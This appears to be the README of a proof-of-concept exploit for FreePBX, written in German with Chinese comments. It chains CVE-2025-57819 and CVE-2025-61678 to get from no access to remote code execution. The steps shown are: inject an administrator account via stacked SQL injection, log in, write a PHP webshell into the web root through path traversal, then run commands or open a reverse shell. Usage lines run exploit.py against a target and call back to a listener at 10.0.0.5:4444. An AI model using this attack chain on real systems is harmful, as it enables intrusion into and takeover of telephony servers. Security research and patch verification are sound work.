
CVE-2025-57819-RCE_PoC
Zusammenfassung: Dieses Dokument zeigt, wie zwei Schwachstellen in FreePBX 16 (CVE-2025-57819 und CVE-2025-61678) kombiniert werden, um eine vollständige Angriffskette vom nicht authentifizierten Zugriff bis zur Remote-Codeausführung (Remote Code Execution, RCE) zu erreichen.
| CVE-Nummer | Betroffene Komponente | Auswirkung und Schwachstellentyp |
|---|
| CVE-2025-57819 | Endpoint-Modullader (brand-Parameter) | Nicht authentifizierte Multi-Statement-SQL-Injection (Unauthenticated Stacked SQL Injection) |
| CVE-2025-61678 | Endpoint-Manager-Firmware-Upload-Prozessor (fwbrand-Parameter) | Authentifizierter beliebiger Datei-Upload / Pfad-Traversal (Path Traversal) |
Über den Namespaced Endpoint Loader wird die nicht authentifizierte Multi-Statement-SQL-Injection-Schwachstelle ausgelöst, um direkt einen neuen Administrator-Account mit vollständigen Berechtigungen in die ampusers-Tabelle zu schreiben.
Mit den soeben erstellten Administrator-Zugangsdaten wird in das FreePBX-Administrations-Backend eingeloggt.
Die Firmware-Upload-Funktion des Endpoint Managers wird ausgenutzt; in Kombination mit der Path-Traversal-Schwachstelle im fwbrand-Parameter (../../../var/www/html/<dir>) wird eine PHP-WebShell direkt in das Web-Root-Verzeichnis geschrieben.
Die bereitgestellte WebShell wird aufgerufen, um einzelne Systembefehle auszuführen oder eine interaktive Reverse Shell zu starten.
Betroffene Versionen: FreePBX 16 (Endpoint-Modulversionen unter 16.0.92), FreePBX 17 (behoben in 17.0.6; frühere Versionen betroffen)
Behebungsempfehlung: Bitte so schnell wie möglich auf die neueste Patch-Version aktualisieren.
# 執行單一指令
python3 exploit.py --rhost pbx.example.com --command "id"
# 建立互動式 Reverse Shell (利用 pwntools 自動監聽)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444
# 使用 Plain HTTP 與自訂通訊埠
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"
| Parameter | Beschreibung |
|---|---|
--rhost | [Pflichtfeld] Zielhost-Adresse (Target Host) |
--rport | Ziel-Port (Standard: 443) |
--http | HTTP anstelle von HTTPS erzwingen (Standard) |